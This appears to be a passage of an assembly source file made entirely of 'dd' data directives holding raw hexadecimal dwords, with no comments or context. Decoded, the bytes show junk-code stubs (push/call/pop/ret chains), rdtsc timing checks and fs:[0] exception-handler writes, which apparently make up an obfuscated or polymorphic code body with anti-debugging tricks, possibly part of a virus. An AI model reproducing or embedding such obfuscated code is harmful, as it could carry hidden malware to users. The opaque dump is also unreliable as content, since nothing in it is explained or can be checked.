17h, 38C35747h dd 8B140B66h, 718A19Dh, 8595FF06h, 80060702h, 5096F0C3h dd 0EFBF6652h, 5A310FBBh, 8C0F5058h, 17h, 0EE8h, 7C038300h dd 3C7CC2EFh, 8C63404Fh, 66F76425h, 965BFB8Bh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0F0C35646h, 0F605046h dd 85h, 5F61F800h, 0A291B5FFh, 6A060Ah, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 160424h, 55450000h, 0F3DADFC3h dd 46EFF781h, 6E922B9h, 0A1000000h, 5FF5395Fh, 5595FF2Dh dd 6A060711h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1B042444h, 41000000h, 0C89AC351h, 0FEC5A0ABh, 8D895D8Bh dd 6072FC5h, 6DDBD83h, 0F000607h, 7184h, 0DBB70F00h, 0E840F96h dd 60000000h, 310F5250h, 890F585Ah, 0 dd 52505061h, 0FE95250h, 0E4000000h, 5BDE29FCh, 4BB20E8Fh dd 32F77749h, 310F8F2Ch, 585A6160h, 9E9310Fh, 0A4000000h dd 449DD6CFh, 3005241Bh, 6A96585Ah, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 15D4C355h dd 0A52955A6h, 1DBD9D8Bh, 0B5FF0607h, 60AA291h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 11C35747h, 0C933F042h dd 0CE9B378h, 67000000h, 0BF39391Bh, 0AFF3F9ABh, 0FF528C9Ah dd 71BF195h, 0B5FFFC06h, 60AA291h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ch, 71C35747h, 8EF74345h, 6AE6DB18h dd 0FDFB70Fh, 682h, 18D0100h, 0FF060716h, 71AF595h, 21853106h dd 8306070Eh, 719F5BDh, 840F0206h, 0B7h, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 1Ch, 3DC35343h, 48A2FC47h dd 0CFD71EB0h, 0D59D8960h, 6606071Ah, 6156A2BBh, 68E0Fh dd 0BD890000h, 607185Dh, 1A29858Bh, 6A0607h, 3E850h, 58200000h dd 448958C3h, 44810424h, 160424h, 50400000h, 8A3B27C3h dd 3021BD89h, 0C60607h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1404h, 0C3504000h, 13E82Ah, 0FC9C0000h, 79765CA1h dd 0BC293AE7h, 0E2044755h, 0DB44DDE7h, 0E0E38072h, 0AE85Bh dd 0F7D50000h, 0E7E39300h, 0B67081F4h, 2D059D89h, 0C75F0607h dd 70D0985h, 6, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1804h, 0C3564600h, 2240884Ah, 51BD8B15h dd 3060711h, 712299Dh, 0F1B2E906h, 0BD8BFFFFh, 6071339h dd 6AC18Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h dd 55450000h, 7ACF98C3h, 2C61858Dh, 6A0607h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 9FD419C3h dd 5251CB2Bh, 0EE850CAh, 88000000h, 0CE791F89h, 0DFAAFE82h dd 3A510386h, 8B5250F3h, 50310FFBh, 5A310F52h, 5B585A58h dd 6A240489h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 19042444h, 40000000h, 3BB7C350h, 2A9CBC7Ah, 9E9h, 0C49FE700h dd 0E86E384Fh, 6A722Bh, 0D75BD8Bh, 0BF0F0607h, 8B006ADFh dd 71541BDh, 1193BB06h, 858D0E7Dh, 60B4D93h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 17C35242h, 621C75h dd 6A05C083h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 14042444h, 40000000h, 89A9C350h, 71849B5h, 0F509006h dd 168Fh, 10E800h, 0DA740000h, 9FB6057Ah, 21F8CDDh, 0AA5AED17h dd 5F5F65D3h, 0FE950h, 0F0730000h, 4A200C3Ah, 521FDCA6h dd 5FE58F18h, 6A905Dh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 190424h, 51410000h, 0E76D5DC3h, 66B854AEh, 6A14F8BBh dd 89BD8900h, 6A060712h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1B04h, 0C3524200h, 0A48F515Eh, 35A14728h dd 0B343BB66h, 3219BD8Bh, 95FF0607h, 6071335h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 30C35545h, 0F5E18CDFh dd 0DF8B6617h, 939D8D8Dh, 6A060Ah, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 160424h, 52420000h, 8DD332C3h, 0FFF9B70Fh dd 10E8D1h, 2BFA0000h, 0C23B9FE4h, 60A2E4D0h, 757AAA2Bh dd 5E9E781h, 4C000000h, 794730E9h, 83D98B5Bh, 732B1BDh dd 850F0106h, 98h, 15A9BD89h, 26A0607h, 2850Fh, 0FA8B0000h dd 0BE9h, 8FC02900h, 7FCF439Dh, 0D3CFC748h, 52505090h dd 310FF88Bh, 0AD2165BFh, 5F585A1Ah, 0AE95350h, 10000000h dd 0F7120477h, 3254D8E7h, 6A905F3Bh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 17042444h, 40000000h, 9506C350h dd 0F5BF51B1h, 0FF76C66Bh, 7028595h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 0F7B0370Bh dd 57F4CDF5h, 0EB81D107h, 52583D74h, 0E87E9h, 0E800h, 815D0000h dd 0B4D9DEDh, 8E806h, 95D50000h, 408D980Eh, 958996B1h dd 6073201h, 0DDBD895Fh, 8D060717h, 0A860385h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h dd 0AD2A1D37h, 8A050657h, 41BD8B80h, 8B060701h, 7285DBDh dd 4895006h, 7DBD8B24h, 64060702h, 35FFh, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h dd 3C2E0CC3h, 8166E881h, 8BF106E7h, 70EC19Dh, 25896406h dd 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 13C35646h dd 65CBCFCFh, 0BF66AE12h, 85FFBE9Eh, 6072C89h, 8D0Fh, 0FF6A0000h dd 13459D8Bh, 0B5FF0607h, 6072759h, 35858B60h, 8B060714h dd 72C85BDh, 95FF6106h, 607213Dh, 166E9h, 10E800h, 109A0000h dd 2F5EF352h, 0B5DB1D2Eh, 0D4BCF261h, 880F0C10h, 5, 88761BFh dd 0B05F73h, 138F0Fh, 0EE90000h, 4000000h, 0FE8B616Ch dd 15BA2DF1h, 3A5B8BACh, 5770E645h, 5E9h, 86BBA400h, 0F5B47D7h dd 71E4DAB7h, 0BD4B2BBh, 0E9BB667Eh, 0F613C41h, 10683h dd 719D8900h, 0FC060714h, 0E9C8B60Fh, 0Eh, 97ECA8E1h, 0F602674h dd 97A6670Ch, 6BA977Eh, 0F5000000h, 6057C18Bh, 81EBB66h dd 0AE9h, 14C3F500h, 5AE5F044h, 61EF7132h, 4E8C15Bh, 197D9D89h dd 0F7660607h, 0F19D23E2h, 2B060720h, 99589C8h, 8B06070Fh dd 39B589D1h, 0E9060701h, 2, 858BDD8Ah, 6073299h, 8E9h dd 0D260B300h, 0AE947B51h, 7C083ABh, 68C0Fh, 0BD890000h dd 6071781h, 14ED9D8Bh, 0C0830607h, 159D8900h, 89060726h dd 72F358Dh, 0FD03B06h, 0F83h, 799D8B00h, 0E906070Ah, 57h dd 9B4BBB66h, 19ED8D8Bh, 0BD890607h, 6071B59h, 0F01E183h dd 3E84h, 5E900h, 2E870000h, 83282205h, 719EDA5h, 8D0FFE06h dd 3, 89FBB70Fh, 7329995h, 14E906h, 0C0170000h, 2F2F05ADh dd 5F0D68A9h, 32EBDB5h, 3970AA79h, 0E940F0h, 8D000000h dd 0AD1FEB5h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1504h, 0C3524200h, 6ABF8Dh, 559D0153h, 5F06072Ch, 1B6995FFh dd 6A0607h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h dd 57470000h, 897977C3h, 7037585h, 0CD9D8B06h, 0B9060718h dd 8FFh, 0EE8h, 6425700h, 0F13C7E1Ah, 0C5DB623h, 890DA5CDh dd 7115D95h, 0E1835B06h, 51006AFCh, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1B04h, 0C3514100h, 8B42FA80h, 348B0721h dd 8BD8B70Fh, 6AFCFAh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 140424h, 52420000h, 0B8A5C3h, 6A000000h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 0BA3CC357h dd 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 7C35040h dd 6367BFA5h, 8B0D9125h, 72779BDh, 57E78006h, 0D1C233ADh dd 83D003E8h, 0F47504E9h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Bh, 28C35747h, 4C8E83CEh, 603AFCFFh, 0BDEF8151h dd 5A736595h, 32D48052h, 6A615Bh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1D0424h, 57470000h, 9FFCD2C3h, 6D2B2983h dd 895AF135h, 70F7195h, 0DFA8A06h, 88h, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 16h, 70C35141h, 0BF660951h dd 89607B19h, 7146185h, 0F2816606h, 8B61BA04h, 70A0195h dd 16BF6606h, 0A58D8B7Ah, 6A060714h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 8BD4C356h dd 0C2F452C3h, 0C75DBF66h, 8BC28B50h, 8BC10318h, 0D1C18B18h dd 8BC203E8h, 85295818h, 6071AC9h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 17h, 3AC35141h, 60A666FDh, 3131B58Bh dd 0BF0F0607h, 0BD8361D6h, 6072FF9h, 6B840F00h, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h dd 41000000h, 2C9DC351h, 0B86CC180h, 0 dd 0DCDBD09h, 85890607h, 607108Dh, 4B4A8D8Dh, 6A0607h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h dd 0EFD4A9C3h, 5D45D30Ah, 89E50099h, 71931BDh, 56E1FF06h dd 0C5D38166h, 0BD835B45h, 6072FD5h, 0F3840F00h, 6A000004h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 19042444h dd 46000000h, 0AA38C356h, 8D4A41C9h, 18E9BD8Bh, 9D8B0607h dd 6071B21h, 2FD5BD83h, 0F010607h, 4D484h, 55006A00h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h dd 0BD8399E4h, 6072FD5h, 74860F03h, 6A000004h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h dd 0BA76C351h, 0CD444F80h, 3141BD8Bh, 6A600607h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h dd 664AC350h, 6688B2BBh, 8589D98Ch, 6072655h, 0E180DE8Bh dd 50006A04h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h dd 0C3504000h, 8BE456E5h, 7319D9Dh, 0FC90A06h, 16784h dd 0F1858B00h, 0E806070Eh, 6, 33B55D49h, 14E96EFCh, 9A000000h dd 0FEAA87FCh, 0F7C78002h, 33C57F02h, 0BA60CB0Ch, 5B3BE6CAh dd 2F019529h, 85330607h, 6071569h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Dh, 0B0C35646h, 0B3CD8BFh, 0D249EC7Ah dd 0CF8A60C0h, 8F0Fh, 8B610000h, 70E159Dh, 0B6605006h dd 54C4BA3Fh, 896179D9h, 6A2404h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1A0424h, 56460000h, 8E9AA1C3h, 0CE921CC5h dd 9E9h, 0BF186200h, 96DC0FB0h, 0BD2B66F4h, 6071FFDh, 0FDB7006Ah dd 7E8h, 3604A00h, 0BBD3208Bh, 203DB589h, 685B0607h, 8B52A3C7h dd 8E9h, 9EB15800h, 0A17877B4h, 24048100h, 74CC6038h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0FCC35545h, 95FF0703h dd 6070561h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 17h, 45C35545h, 89184759h, 0AA29185h, 5810F06h, 0BB000000h dd 19DB9DBDh, 37E906B3h, 6A000002h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 7413C355h dd 0BF6649B2h, 9D8BB187h, 6072405h, 0C028BF66h, 0A289858Bh dd 6A060Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h dd 52420000h, 0C998CAC3h, 870FCAE7h, 8, 2880Fh, 20B30000h dd 1800C7h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 140424h, 55450000h, 3DBB9AC3h, 8B2EAF8Dh, 0AA28DB5h dd 8BFB8B06h, 71C7D85h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1D04h, 0C3564600h, 3737B8CCh, 5CAC783Ch dd 95299F93h, 607162Dh, 0BD310689h, 60704A5h, 0EF1858Bh dd 46890607h, 51006A04h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1D04h, 0C3514100h, 0CC00EA98h, 0BCAD817Bh, 8166AEF9h dd 96F2FACFh, 0C14CE0BFh, 50535058h, 0F5F5152h, 880F31h dd 5A000000h, 6A965F58h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1D042444h, 42000000h, 0CF35C352h, 53F698D1h dd 7C4C45E0h, 1BB59D0Bh, 81660607h, 0FF2C1AC7h, 0AA289B5h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h dd 0C3514100h, 38AAF125h, 850FD083h, 18h, 10E8h, 0C2F04B00h dd 32F22727h, 0E5FC0D9h, 0DB1A25C2h, 5BF6B378h, 15E5BD09h dd 4E80607h, 0FF000000h, 50001F03h, 374BBF66h, 424448Bh dd 8B48B7h, 18890Fh, 13E90000h, 0BC000000h, 920DEDF0h dd 910D92B5h, 0D2F79725h, 5E776A2Eh, 4489FD8Bh, 0BF520424h dd 69A5987Ch, 9D2B585Bh, 607282Dh, 0A291858Dh, 6A060Ah dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h dd 0C03B55C3h, 28939761h, 95896052h, 6070BF5h, 81665B61h dd 909490F3h, 0D78B6660h, 0A0C409B8h, 50506177h, 5E952h dd 0C44E0000h, 0FAF7FCCh, 90585A31h, 95FFC6B3h, 6070561h dd 23818D29h, 89610607h, 72EF58Dh, 0D585C706h, 306072Fh dd 51000000h, 494FBF66h, 91BD835Bh, 60AA2h, 5D840Fh, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h dd 967DDCC3h, 53E94D4Bh, 6A000000h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 3322C355h dd 0FEF11163h, 0FE81Fh, 95D30000h, 0D135CD9Ch, 7B0625C6h dd 4855963h, 505FF928h, 110C30h, 0C1011144h, 443010E8h dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh, 64001104h dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h, 4300111h dd 4E98311h, 0EBE775h, 5E9C08Bh, 0D6000000h, 7A053678h dd 9E91D781h, 6A10CEh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 190424h, 52420000h, 0DF0AD3C3h, 8BBC1FA6h, 70E51BDh dd 0D5BD8306h, 306072Fh, 3EC850Fh, 8D0F0000h, 5, 0FD3634BFh dd 29D78069h, 0A291BD83h, 0F00060Ah, 3D184h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h dd 0C999F4FFh, 0BB795056h, 32AA1A80h, 0B5FFF88Bh, 60AA291h dd 27E78166h, 4195FFD3h, 29060716h, 71C9585h, 85B58B06h dd 6A060AA2h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 15042444h, 40000000h, 6A12C350h, 0B1DBD8Bh, 6C70607h dd 10001h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 14h, 7C35040h, 7E9h, 0BE011C00h, 0DF994230h, 499BD33h dd 66500607h, 89F1DDBBh, 0BD8B2434h, 6072E95h, 0A291B5FFh dd 6A060Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h dd 56460000h, 0C25428C3h, 68F0FA3h, 8B000000h, 706B99Dh dd 0D9D8B06h, 0FF06071Ch, 71DE195h, 0AE806h, 0D4DC0000h dd 1B15A370h, 3C7276F7h, 0CC18501h, 8B5B0607h, 0AA285B5h dd 0D9B70F06h, 20A5858Bh, 830F0607h, 6, 121DBD8Bh, 0BE80607h dd 86000000h, 7B48F304h, 0BACA461Dh, 858989ECh, 6072C71h dd 0C486895Fh, 6A000000h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1D042444h, 42000000h, 4414C352h, 325AE5F0h dd 8321EF71h, 1FF19D8Bh, 958B0607h, 6070A01h, 4C283F5h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0A1C35343h dd 64A6E2BDh, 2050897Eh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 17h, 67C35343h, 600A55A1h, 0FC7B70Fh, 8Bh dd 8D0F6100h, 6, 15A9B589h, 858D0607h, 60AB5BCh, 0D040BB66h dd 0B88689h, 860F0000h, 3, 6ADA8B66h, 53006A00h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h dd 0FE3FB28h, 31D1BBC9h, 0B5FF50D6h, 60AA291h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 14h dd 0C3C35242h, 5E5BD8Bh, 95FF0607h, 6070285h, 12358589h dd 0E8500607h, 5, 0EEEE4810h, 28B0FB4h, 60000000h, 34895F61h dd 0FFF88B24h, 0AA291B5h, 5595FF06h, 0F060711h, 0BD83DFBFh dd 60706DDh, 50840F00h, 6A000000h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 145EC352h dd 0B8473971h, 803DF268h, 665096EBh, 3489D98Bh, 55006A24h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h dd 0DED381ABh, 0FF1A97B4h, 0AA291B5h, 0AE806h, 3E950000h dd 2568312Dh, 1D9C0588h, 1AA19D8Bh, 895B0607h, 7130D95h dd 0F195FF06h, 8906071Bh, 70E518Dh, 91B5FF06h, 6A060AA2h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1B042444h dd 41000000h, 4A33C351h, 0A9965BD7h, 7E966F1h, 77000000h dd 78195D6h, 95FF532Bh, 6071AF5h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Dh, 0E1C35141h, 71234FCh, 73AF2222h dd 0A5BD8BB7h, 89060726h, 71CB995h, 0F5BD8306h, 2060719h dd 50840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 140424h, 57470000h, 8BFC79C3h, 71A2985h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h dd 81667F00h, 0C65ED1D3h, 66600000h, 8BEB5FBBh, 85C761CEh dd 6070D09h, 0 dd 6870Fh, 8D890000h, 6071615h, 2F098589h, 63E90607h, 0FFFFFF2h dd 5E9FABFh, 59000000h, 7F148C04h, 8A0FC18Bh, 4, 0D781BF66h dd 2C61858Dh, 6A0607h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 150424h, 57470000h, 6612F6C3h, 0D63FC381h, 1BC19D03h dd 0F500607h, 88h, 24048900h, 1C35BD31h, 6A0607h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0B5C35242h, 0F40897E0h dd 895C6220h, 0CD99D29h, 6A0607h, 858DF98Bh, 60B5E1Eh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 37C35747h dd 0BC8AC945h, 0B70FCC8Ch, 0CE8FFh, 532B0000h, 0A32890C7h dd 61E5914Dh, 0DB818782h, 1056A57Bh, 5C0835Fh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0EC35141h, 0A1B9702Ah dd 0C9222CF7h, 0BDBF6649h, 0ABB3900Dh, 90FA8A50h, 10199D8Bh dd 6A0607h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 19h, 8CC35545h, 0C4838CA1h, 71BD0BE3h, 6A060716h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h dd 3595FF67h, 6A060713h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1B042444h, 43000000h, 0F9FFC353h, 0C5F8A91Fh dd 0CB81D1C6h, 346C40E6h, 939D8D8Dh, 0BD8B060Ah, 6072CB5h dd 0BB66D1FFh, 0BF0F2C12h, 0B1BD83FBh, 1060732h, 7D850Fh dd 0C9B30000h, 8E9026Ah, 0AB000000h, 38CC6F5Dh, 90295445h dd 0FE9h, 133C0000h, 52EB1B29h, 18272DCCh, 54358E4Ah, 0BB525050h dd 278A89B3h, 5250310Fh, 310F5250h, 310F585Ah, 5E9h, 7BCDB200h dd 585AE320h, 2B90585Ah, 71279BDh, 8595FF06h, 6A060702h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1A042444h dd 46000000h, 0C3A8C356h, 85EA17D9h, 21BD8B97h, 0E9060718h dd 0D99h, 0E8h, 0ED815D00h, 60B5E28h, 1D2D9D8Bh, 6A0607h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h dd 57964BC3h, 2885B509h, 8B5F0607h, 3858DD9h, 50060A86h dd 6A240489h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1A042444h, 41000000h, 0BD2DC351h, 8F624516h, 35FF642Fh dd 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 5DC35646h dd 0DA0D2587h, 0B2EFACF9h, 25896462h, 0 dd 2C8985FFh, 0CE80607h, 0A0000000h, 760E8BD1h, 0A056996Bh dd 331CC6C6h, 727FD9Dh, 0FF6A5B06h, 5C98D89h, 9D030607h dd 6072FC5h, 319B5FFh, 63BB0607h, 0FF05BEA7h, 7213D95h dd 145E906h, 10E90000h, 0B4000000h, 0FE8A43C2h, 0F17EE9E2h dd 0C62AECADh, 66A56C88h, 0B09616BFh, 0F7816600h, 70E62595h dd 0E4D8B70Fh, 5D9D8B71h, 3C060715h, 10830F61h, 60000001h dd 880F60h, 89000000h, 7037DB5h, 5E86106h, 13000000h, 7FA4742Dh dd 15CD950Bh, 615A0607h, 51C8B60Fh, 0FE430DBFh, 6BA5F7Bh dd 0F000000h, 87h, 12E900h, 3DA50000h, 603CFF8Ch, 6AACBEC5h dd 0A5B3D6FDh, 6BE8AED3h, 0B589C18Bh, 6071209h, 8904E8C1h dd 71C358Dh, 0E2F76606h, 15F9BD8Bh, 0C82B0607h, 2ED1BD8Bh dd 0D18B0607h, 0E9FA8B66h, 5, 26CC4ABFh, 0B9858B4Dh, 0F060731h dd 8Bh, 7C08300h, 0AE9h, 0F2BBC000h, 0DE7CC47Eh, 83F4A230h dd 0FE8B00C0h, 830FD03Bh, 1Fh, 60E943B7h, 0E8000000h, 0Ch dd 0B3860FFAh, 56F95455h, 4E0F32C0h, 0F719D8Bh, 8B5F0607h dd 703798Dh, 75950106h, 83060704h, 840F01E1h, 33h, 0A583FA8Bh dd 6070379h, 0EF8166FEh, 9589A81Eh, 60731B9h, 0EE8h, 45793400h dd 3BDF359Bh, 370A1B02h, 29D14819h, 72CD19Dh, 0E95F06h dd 8D000000h, 0ADD2CB5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1D04h, 0C3534300h, 0F2F65C6h, 10BB2E65h dd 6AE1CDh, 68A0Fh, 95890000h, 60702DDh, 95FFDF8Bh, 6071B69h dd 61A424BBh, 823B92Fh, 0F7800000h, 0FCE183B9h, 121DBD8Bh dd 8BFC0607h, 71181BDh, 6AC02B06h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 3319C353h dd 0CB00FF00h, 0E92D4754h, 5, 2A115ABAh, 0B6D78189h, 0BA2E07DEh dd 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 0C9C35141h dd 2F4A9B64h, 0C233AD1Ah, 0D003E8D1h, 7504E983h, 57006AF4h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 893DFE1Fh, 71A5585h, 6AF806h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 190424h, 57470000h, 5335B7C3h, 0E9F05B29h dd 11h, 6FE2FC07h, 0DDB5FFDBh, 0B8B469DAh, 86AC9ACFh, 0E59D8902h dd 0E806071Ch, 8, 0A740732Ah, 0BDC5A962h, 68B0Fh, 800F0000h dd 0 dd 880D5Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1D0424h, 56460000h, 0A7C0D1C3h, 0ECD4F8E2h, 0E88D8323h dd 0Ch, 0DC31B9E0h, 88306410h, 3288BC26h, 1958B5Bh, 6A06070Ah dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 18042444h dd 45000000h, 573CC355h, 8BC6B49Fh, 0A58D8BD8h, 6A060714h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 14042444h dd 43000000h, 81D5C353h, 874AD8D3h, 0C28B5017h, 0C103188Bh dd 0C18B188Bh, 0C203E8D1h, 6058188Bh, 11E8h, 1A791300h dd 7A02A887h, 0E039009Dh, 0D8C861EBh, 5EF58C4Fh, 0DE9h dd 30526700h, 0E86448D6h, 0D3F28EB1h, 161414Dh, 711499Dh dd 83DF8106h, 833560E9h, 72FF9BDh, 840F0006h, 0A0h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0D9C35141h, 9067661Ch dd 0BD8B8688h, 6071A4Dh, 0B8h, 43DF8100h, 8D15A6CCh, 74B4A8Dh dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h dd 0C3554500h, 0FFDCC8C5h, 50006AE1h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1A04h, 0C3504000h, 0B44DCC72h dd 0E8F3C73Ch, 0Eh, 4934891Fh, 0AF1A112Ah, 6D82D79Bh, 0AE944E6h dd 41000000h, 0D014EFFEh, 0EE2E6E86h, 5B565FF4h, 2FD5BD83h dd 0F000607h, 45384h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1A04h, 0C3524200h, 5B32B41Bh, 0E84A7963h dd 14h, 2D885D1Ah, 63C403CBh, 4C4F9870h, 0AE1FC84Eh, 0DEDF0BCh dd 0D5BD835Bh, 106072Fh, 425840Fh, 9D8B0000h, 6071339h dd 2FD5BD83h, 0F030607h, 3DC86h, 0AD858900h, 60060723h dd 0EA58D89h, 8C660607h, 50006AD9h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1604h, 0C3504000h, 8093401Fh, 6A04E1h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h dd 0A96979C3h, 0C90AFA8Bh, 17B840Fh, 14E90000h, 0D000000h dd 0F1CCD6CCh, 6C33A553h, 60E45EA6h, 0A0F657DDh, 8B64C426h dd 70EF185h, 7FEF8106h, 806BCAD5h, 8533F1DBh, 6071569h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 78C35747h dd 0F415B268h, 958994FFh, 6070A21h, 5E890h, 0F0640000h dd 56480EC5h, 60505B5Fh, 860F53h, 5A000000h, 6A9061h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h dd 16970EC3h, 7481103Fh, 6ADE8B66h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1404h, 0C3574700h, 8115B775h dd 744E90CBh, 4E824h, 3FF0000h, 8B56001Fh, 8B505BF9h, 24448BD9h dd 0E9008B04h, 7, 0DC0282EAh, 8953E55Bh, 0E8042444h, 10h dd 0BB8B4C7Ah, 0B26A7B1Fh, 0B8EF922Fh, 32967240h, 8989BB66h dd 6A585Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h dd 53430000h, 0A1F0C0C3h, 95FF2E08h, 6070561h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0C3C35242h, 16A20ADCh dd 3027551Ch, 91858955h, 6A060AA2h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 4363C355h dd 0BB66D075h, 6AE9413Dh, 23000001h, 70C059Dh, 89858B06h dd 8B060AA2h, 72FA5BDh, 19BD8B06h, 0C7060701h, 1800h, 419D8900h dd 8B060721h, 0AA28DB5h, 0E6BF6606h, 14E980h, 88570000h dd 7FBA8FC7h, 9451354Dh, 5B9496BCh, 400F64BDh, 858BF723h dd 6071C7Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 16h, 0F0C35343h, 0BD23B96Fh, 6070F71h, 0C5BD0351h, 5B060723h dd 81F90689h, 608E87DBh, 0F1858B40h, 